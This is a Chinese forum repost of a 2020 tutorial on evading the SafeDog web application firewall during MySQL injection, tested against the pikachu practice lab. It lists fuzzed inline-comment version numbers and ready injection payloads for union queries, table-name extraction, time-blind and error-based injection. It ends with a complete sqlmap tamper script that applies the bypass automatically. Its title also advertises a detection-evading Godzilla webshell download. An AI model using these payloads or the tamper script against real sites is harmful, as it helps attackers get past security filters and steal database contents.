搜索

[18168] 2020-10-21_手把手全套过狗(附tamper和哥斯拉免杀马下载)

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2020-10-21_手把手全套过狗(附tamper和哥斯拉免杀马下载) 手 把 手 全 套 过 狗 ( 附 t a m p e r 和 哥 斯 拉 免 杀 马 下 载 ) l u s h u n 丶   H A C K 之 道   2 0 2 0 - 1 0 - 2 1 作 者 ： l u s h u n 丶     文 章 来 源 ： 先 知 社 区 本 文 主 要 介 绍 过 绕 过 安 全 狗 的 注 入 以 及 上 传 方 法 ， 内 容 偏 新 手 ， 大 佬 勿 喷 。 。 知 识 点 介 绍 知 识 点 介 绍 开 始 先 将 本 文 所 使 用 到 的 绕 过 方 法 知 识 点 列 出 来 1 . 内 联 注 释 绕 过 内 联 注 释 绕 过 在 m y s q l 的 语 法 中 ， 有 三 种 注 释 方 法 ： 和 （ 单 行 注 释 ） 和   （ 多 行 注 释 ） 如 果 在 后 加 惊 叹 号 意 为 里 的 语 句 将 被 执 行 在 m y s q l 中     不 是 注 释 ， m y s q l 为 了 保 持 兼 容 ， 它 把 一 些 特 有 的 仅 在 m y s q l 上 用 的 语 句 放 在 - - # / *   * / / * ! / *   * / / * !   . . . . * / / * ! . . . . * /
中 ， 这 样 这 些 语 句 如 果 在 其 他 数 据 库 中 是 不 会 被 执 行 ， 但 在 m y s q l 中 它 会 执 行 。 如 下 语 句 ; 这 里 的 5 0 0 0 1 表 示 假 如   数 据 库 是 5 . 0 0 . 0 1 及 以 上 版 本 ， 该 语 句 才 会 被 执 行 。 2 . 异 或 绕 过 异 或 绕 过 在 没 有 被 过 滤 的 时 候 可 以 利 用 它 来 测 试 异 或 ： 或 逻 辑 运 算 就 是 ： 同 假 异 真 （ 两 个 条 件 结 果 相 同 就 为 假 ， 结 果 不 同 就 为 真 ） 例 如 ： 1 ^ 0   就 是   1   ， 1 ^ 1   就 是   0 例 子 ： l u c y '   X o r   ' 1 ' = ' 1 '   # 如 果 ‘ l u c y ’ 存 在 则 前 后 都 为 真 则 为 返 回 假 如 果 ’ l u c y ‘ 不 存 在 则 前 为 假 后 都 为 真 则 为 返 回 真 X o r 类 似 当 前 后 都 为 真 时 返 回 假 执 行 后 面 一 个 表 达 式 如 果 A 为 真 ， 则 查 出 不 满 足 B 条 件 数 据 ; 如 果 A 为 假 ， 则 查 出 满 足 B 条 件 数 据 ； 3 . 换 行 绕 过 换 行 绕 过 换 行 符 绕 过 : % 2 3 % 0 a 、 % 2 d % 2 d % 0 a / * ! . . . . * / / * ! 5 0 0 0 1   s e l e c t   *   f r o m   t e s t   * / ^ x o r ^
% 2 3   是 u r l 编 码 中 的   #   ( 也 就 是 M y S Q L 中 的 行 注 释 符 ) % 0 A   是 u r l 编 码 中 的   换 行 % 2 3   a a a a   - - > 对 应 的 就 是   # a a a a   （ 就 相 当 于 把 这 行 给 注 释 掉 了 ） 而 再 加 上 % 0 a ( 也 就 是 换 行 符 ， 后 面 的 语 句 又 能 成 功 执 行 了 ） 测 试 环 境 测 试 环 境 A P A C H E 版 本 的 安 全 狗 版 本 4 . 0 . 2 8 3 3 0 ， W I N 1 0 这 里 用 p i c k a c h u 靶 场 的 字 符 型 注 入 来 测 试 一 、 一 、 m y s q l 注 入 绕 过 测 试 注 入 绕 过 测 试 通 过 f u z z y 测 试 安 全 狗 的 拦 截 策 略 ( 字 典 后 面 附 上 ) a n d   1   ( a n d 后 加 数 字 拦 截 后 加 数 字 拦 截 )
过 狗 现 在 很 好 用 的 是 内 联 注 释 加 参 数 干 扰 ， 这 里 a n d 加 数 字 被 过 滤 了 ， 我 们 就 直 接 将 a n d 后 面 的 内 容 放 进 注 释 符 里 这 里 也 可 以 用 & 来 代 替 a n d 或 者 X o r 也 都 不 拦 截 l u c y '   &   ' 1 ' = ' 1 ' # l u c y '   X o r   ' 1 ' = ' 1 ' #
o r d e r   b y   ( 这 里 这 里 o r d e r 不 拦 截 不 拦 截 b y 不 拦 截 ， 但 是 不 拦 截 ， 但 是 o r d e r 后 面 加 后 面 加 b y 会 拦 截 会 拦 截 ) 所 以 我 们 还 是 用 之 前 的 内 联 注 释 测 试 绕 过 发 现 a n d 能 过 的 内 联 注 释 到 了 o r d e r   b y 就 不 行 了 。 这 . . . .   抓 头 . j p g 。 再 测 试 一 下 将 o r d e r   b y 全 部 放 进 内 联 里 ， 也 不 行 。 根 据 开 头 介 绍 的 内 联 的 特 性 ， 往 内 联 里 加 数 字 进 行 测 试 。 这 里 可 以 多 准 备 些 五 位 数 因 为 一 些 常 用 的 已 经 被 狗 拦 了 简 单 的 f u z z   了 一 下 ， 发 现   了 大 量 的 可 以 绕 过 的 版 本 号 1 0 4 4 0   –   1 0 4 4 9   1 3 4 4 0 - 1 3 4 4 9   1 4 4 0 0 - 1 4 4 9 9   1 5 4 4 0 - 1 5 4 4 9   1 6 4 4 0 - 1 6 4 4 9   1 7 4 4 0 - 1 7 4 4 9   1 8 4 4 0 - 1 8 4 4 9   等 等
这 里 还 有 一 种 变 形 ， 首 先 看 到 这 里 一 般 的 内 联 被 过 滤 了 但 是 可 以 在 内 联 注 释 中 随 机 添 加 上 一 步 中 被 狗 拦 截 的 五 位 数 字 , 并 随 机 添 加 一 些 字 母 ， 但 是 必 须 要 放 在 o r d e r   b y 等 关 键 字 的 中 间 ， 功 能 相 当 于 空 格 . u n i o n   s e l e c t   ( u n i o n 后 跟 后 跟 s e l e c t 会 被 拦 截 会 被 拦 截 ) u n i o n   s e l e c t 绕 过 可 以 直 接 加 内 联 ， 因 为 安 全 狗 看 重 的 是 关 键 字 ， 要 绕 过 只 需 要 中 间 加 些 干 扰 就 行 。 但 u n i o n   s e l e c t 中 间 需 要 放 两 个 内 联 才 行 , 之 后 的 都 是 这 样 。 l u c y '   / * * / o r d e r   / * * / b y   # l u c y '   o r d e r / * ! 7 7 7 7 7 c z * / b y   1 # - 1 '   u n i o n   / * ! 1 1 4 4 0   s e l e c t * /   1 , 2 #
- 1 '   u n i o n   / ! 7 7 7 7 7 c z / / ! 7 7 7 7 7 c z /   s e l e c t   1 , 2 # u s e r ( ) 、 、 d a t a b a s e ( )   ( 关 键 词 跟 括 号 会 被 拦 截 关 键 词 跟 括 号 会 被 拦 截 ) 以 前 版 本 的 在 d a t a b a s e ( ) 中 间 插 空 格 符 已 经 不 管 用 了 t i p : M y s q l 中 可 以 利 用 的 空 白 字 符 有 ： % 0 9 , % 0 a , % 0 b , % 0 c , % 0 d , % 2 0 , % a 0 但 可 以 用 内 联 绕 过 , 直 接 把 ( ) 放 到 内 联 里 ， 或 者 经 过 简 单 的 变 形 就 能 过 s e l e c t   x x x   f r o m   x x x   ( s e l e c t   任 意 字 符 任 意 字 符   f r o m   后 面 跟 任 意 字 符 等 也 会 拦 截 后 面 跟 任 意 字 符 等 也 会 拦 截 ) 这 里 将 s e l e c t   t a b l e _ n a m e 和 f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s 单 独 进 行 测 试 ， 发 现 都 不 会 被 拦 截 ， 但 是 用 s e l e c t   t a b l e _ n a m e , 2   f r o m i n f o r m a t i o n _ s c h e m a . 这 种 组 合 进 行 测 试 时 就 会 被 拦 截 。 再 测 试 s e l e c t   x x x   f r o m   x x x 发 现 被 拦 截 。 说 明 s e l e c t 后 面 跟 任 意 字 符 再 加 上 f r o m 再 加 上 任 意 字 符 就 会 被 拦 截 。 这 里 只 需 要 将 s e l e c t 放 进 内 联 即 可 绕 过 ， 也 可 以 像 之 前 一 样 在 f r o m 前 面 加 两 个 内 联 ， 我 这 里 为 了 简 洁 就 只 写 一 种 。 查 表 名 - 1 '     u n i o n   / * ! 7 7 7 7 7 c z * / / * ! 7 7 7 7 7 c z * /   s e l e c t   d a t a b a s e / * ! 7 7 7 7 7 a * / ( ) , 2 # / * ! 7 7 7 7 7 c z * / - 1 '   u n i o n     / * ! 1 1 4 4 0 s e l e c t * /     g r o u p _ c o n c a t ( t a b l e _ n a m e ) , 2   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e / * ! 7 7 7 7 7 c z * / ( ) #
还 可 以 用 m y s q l > 5 . 6 版 本 的 新 特 性 , m y s q l 库 多 了 两 个 新 表 , i n n o d b _ i n d e x _ s t a t s   和   i n n o d b _ t a b l e _ s t a t s 这 两 个 表 是 数 据 库 自 动 设 置 的 用 于 记 录 更 改 和 新 创 建 的 数 据 库 和 表 的 信 息 ， 但 准 确 的 说 是 保 存 最 近 的 数 据 库 变 动 记 录 。 安 全 狗 没 有 对 这 两 个 关 键 字 进 行 限 制 。 具 体 怎 么 查 爆 内 容 看 这 篇 文 章 查 表 名 时 间 盲 注 和 报 错 时 间 盲 注 和 报 错 经 测 试 s l e e p ( ) 不 会 被 拦 但 s l e e p ( ) 里 面 加 数 字 就 会 被 拦 u p d a t e x m l ( ) 不 会 被 拦 ， 但 是 能 执 行 的 u p d a t e x m l ( 1 , 1 , 0 ) 会 被 拦 截 都 可 以 用 内 联 进 行 绕 过 最 基 本 的 绕 过 方 式 已 经 找 到 ， 但 我 们 的 目 的 是 编 写 s q l m a p   t a m p e r 来 一 键 化 过 狗 , 先 将 上 面 的 方 法 写 成 t a m p e r 来 进 行 测 试 t a m p e r 的 编 写 很 简 单 参 考 这 篇 我 这 里 简 单 介 绍 下 p a y l o a d 替 换 部 分 ， 假 如 在 服 务 器 上 A N D 被 拦 截 ， 我 们 想 用 内 联 注 释 / ! 1 1 4 4 4 A N D / 绕 过 ， 就 需 要 这 样 写 d e f   t a m p e r ( p a y l o a d ,   * * k w a r g s ) :                 p a y l o a d = p a y l o a d . r e p l a c e ( ' A N D ' , ' / * ! 1 1 4 4 4 A N D * / ' ) 其 他 的 o r d e r 、 u n i o n 、 s l e e p 等 都 是 同 样 的 方 法 。 在 测 试 t a m p e r 的 时 候 将 s q l m a p 等 级 调 整 为 v 3 这 样 可 以 显 示 使 用 到 的 语 句 1 '   u n i o n   / * ! 1 1 4 4 0 s e l e c t * /   g r o u p _ c o n c a t ( t a b l e _ n a m e ) , 2   f r o m   m y s q l . i n n o d b _ i n d e x _ s t a t s   w h e r e   d a t a b a s e _ n a m e = d a t a b a s e / * ! ( ) * / # l u c y   '   / * ! 1 1 4 4 0 o r * /   / * ! 1 1 4 4 0 s l e e p ( 3 ) * / # - 1 ' A N D   u p d a t e x m l / * ! 7 7 7 7 7 c z * / ( 1 , v e r s i o n ( ) , 0 ) #
测 试 过 程 中 发 现 s q l m a p 在 进 行 联 合 注 入 测 试 时 ， 会 使 用 U N I O N   A L L   S E L E C T 语 句 ， 同 样 的 U N I O N   A L L   S E L E C T 语 句 也 是 U N I O N A L L 不 拦 截 ， U N I O N   A L L   S E L E C T 才 会 被 拦 截 ， 所 以 也 是 只 需 要 对 S E L E C T 进 行 内 联 注 释 就 行 。 最 后 结 果 可 以 看 到 ， 所 有 类 型 的 注 入 都 可 以 跑 出 来 但 是 在 测 试 查 询 所 有 数 据 库 名 时 s q l m a p 会 使 用 U S E R ( ) 和 S E S S I O N _ U S E R ( ) 函 数 ， 还 是 用 之 前 的 方 法 ， 在 字 母 和 括 号 之 间 使 用 内 联 , 但 是 这 样 的 话 S E S S I O N _ U S E R ( ) 函 数 也 会 被 转 换 成 然 后 就 会 报 错 。 所 以 要 单 独 对 S E S S I O N _ U S E R ( ) 使 用 另 一 种 内 联 来 绕 过 ， / ! 1 1 4 4 0 S E S S I O N _ U S E R ( ) / 最 后 效 果 U S E R / * ! 7 7 7 7 7 c z * / ( ) S E S S I O N _ U S E R / * ! 7 7 7 7 7 c z * / ( )
最 终 最 终 t a m p e r # ! / u s r / b i n / e n v   p y t h o n " " " C o p y r i g h t   ( c )   2 0 0 6 - 2 0 1 9   s q l m a p   d e v e l o p e r s   ( [ u r l ] h t t p : / / s q l m a p . o r g / [ / u r l ] ) S e e   t h e   f i l e   ' L I C E N S E '   f o r   c o p y i n g   p e r m i s s i o n A u t h o r : L U S H U N " " " i m p o r t   r e i m p o r t   o s f r o m   l i b . c o r e . d a t a   i m p o r t   k b f r o m   l i b . c o r e . e n u m s   i m p o r t   P R I O R I T Y f r o m   l i b . c o r e . c o m m o n   i m p o r t   s i n g l e T i m e W a r n M e s s a g e f r o m   l i b . c o r e . e n u m s   i m p o r t   D B M S _ _ p r i o r i t y _ _   =   P R I O R I T Y . L O W d e f   d e p e n d e n c i e s ( ) :         s i n g l e T i m e W a r n M e s s a g e ( " B y p a s s   s a f e d o g 4 . 0 ' % s '   o n l y   % s "   %   ( o s . p a t h . b a s e n a m e ( _ _ f i l e _ _ ) . s p l i t ( " . " ) [ 0 ] ,   D B M S . M Y S Q L ) ) d e f   t a m p e r ( p a y l o a d ,   * * k w a r g s ) :                 p a y l o a d = p a y l o a d . r e p l a c e ( ' A N D ' , ' / * ! 1 1 4 4 0 A N D * / ' )                 p a y l o a d = p a y l o a d . r e p l a c e ( ' O R D E R ' , ' o r d e r / * ! 7 7 7 7 7 c z * / ' )                 p a y l o a d = p a y l o a d . r e p l a c e ( " S E L E C T " , " / * ! 1 1 4 4 0 S E L E C T * / " )                 p a y l o a d = p a y l o a d . r e p l a c e ( " S L E E P ( " , " s l e e p / * ! 7 7 7 7 7 c z * / ( " )                 p a y l o a d = p a y l o a d . r e p l a c e ( " U P D A T E X M L ( " , " U P D A T E X M L / * ! 7 7 7 7 7 c z * / ( " )                 p a y l o a d = p a y l o a d . r e p l a c e ( " S E S S I O N _ U S E R ( ) " , " / * ! 1 1 4 4 0 S E S S I O N _ U S E R ( ) * / " )                 p a y l o a d = p a y l o a d . r e p l a c e ( " U S E R ( ) ) " , " U S E R / * ! 7 7 7 7 7 c z * / ( ) ) " )                 p a y l o a d = p a y l o a d . r e p l a c e ( " D A T A B A S E ( ) " , " D A T A B A S E / * ! 7 7 7 7 7 c z * / ( ) " )                 r e t u r n   p a y l o a d
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理